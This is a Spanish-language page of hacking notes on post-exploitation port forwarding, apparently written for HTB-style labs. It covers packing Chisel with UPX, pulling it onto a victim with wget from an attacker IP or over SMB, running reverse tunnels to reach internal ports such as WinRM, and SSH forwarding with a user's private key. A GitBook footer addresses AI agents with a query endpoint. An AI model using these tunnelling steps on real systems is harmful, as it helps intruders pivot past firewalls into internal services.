> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/post-exploitation/port-forwarding-techniques.md).

# Técnicas de redireccionamiento de puertos

{% hint style="info" %}
**Reenvío de puertos** es una técnica de red que redirige conexiones desde un puerto específico de una máquina a otra máquina o puerto. Esto se usa a menudo para acceder a servicios internos desde el exterior, pasando por cortafuegos o routers.
{% endhint %}

<pre class="language-bash"><code class="lang-bash">netstat -tuln
<strong>netstat -ano | findstr LISTENING
</strong></code></pre>

## Chisel :

### Linux

Primero compilamos Chisel en nuestra máquina local:

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
git clone https://github.com/jpillora/chisel
```

```bash
go build -ldflags "-s -w" .
upx chisel
```

Luego transfiera el ejecutable de Chisel a la máquina víctima a través de un servidor HTTP de Python3:

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="/files/9f4313ed53ab8230db5391afa2abb2b0485304c9" alt=""><figcaption></figcaption></figure>

En nuestra máquina, iniciamos el servidor de Chisel:

<pre class="language-bash"><code class="lang-bash"><strong>./chisel server -p 8888 -reverse
</strong></code></pre>

En la máquina víctima, configure el cliente de Chisel para reenviar el puerto 631 de vuelta a la máquina atacante:

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="/files/42c3ec5e0f6256fcd8e0119952555045e4c50e92" alt="" width="563"><figcaption></figcaption></figure>

### Windows

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Descargando y preparando archivos:**/ Descargamos los archivos comprimidos **Chisel** archivos, a saber:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Después de extraer los archivos, transfiera el **Chisel** binario al objetivo Windows:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/b6f884b05c83c64681b550cc3a4d7d06025e0814" alt=""><figcaption></figcaption></figure>

**Escuchando en la máquina atacante con Chisel:**/ Iniciar **Chisel** en modo servidor en la máquina atacante en el puerto 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Luego, en la máquina Windows, ejecute **Chisel** en modo cliente y reenvíe el puerto 5985 de vuelta a la máquina atacante:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/70b4148b72cf7a2b8d14a9620a586dc835ee9e68" alt=""><figcaption></figcaption></figure>

## SSH :

Redirigimos los puertos internos a nuestra máquina y usamos la clave privada del usuario y aplicamos los permisos adecuados:

```bash
chmod 600 id_rsa
```

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

<figure><img src="/files/184d09289574d06f5457762706c7f3354cf8f5b9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/post-exploitation/port-forwarding-techniques.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
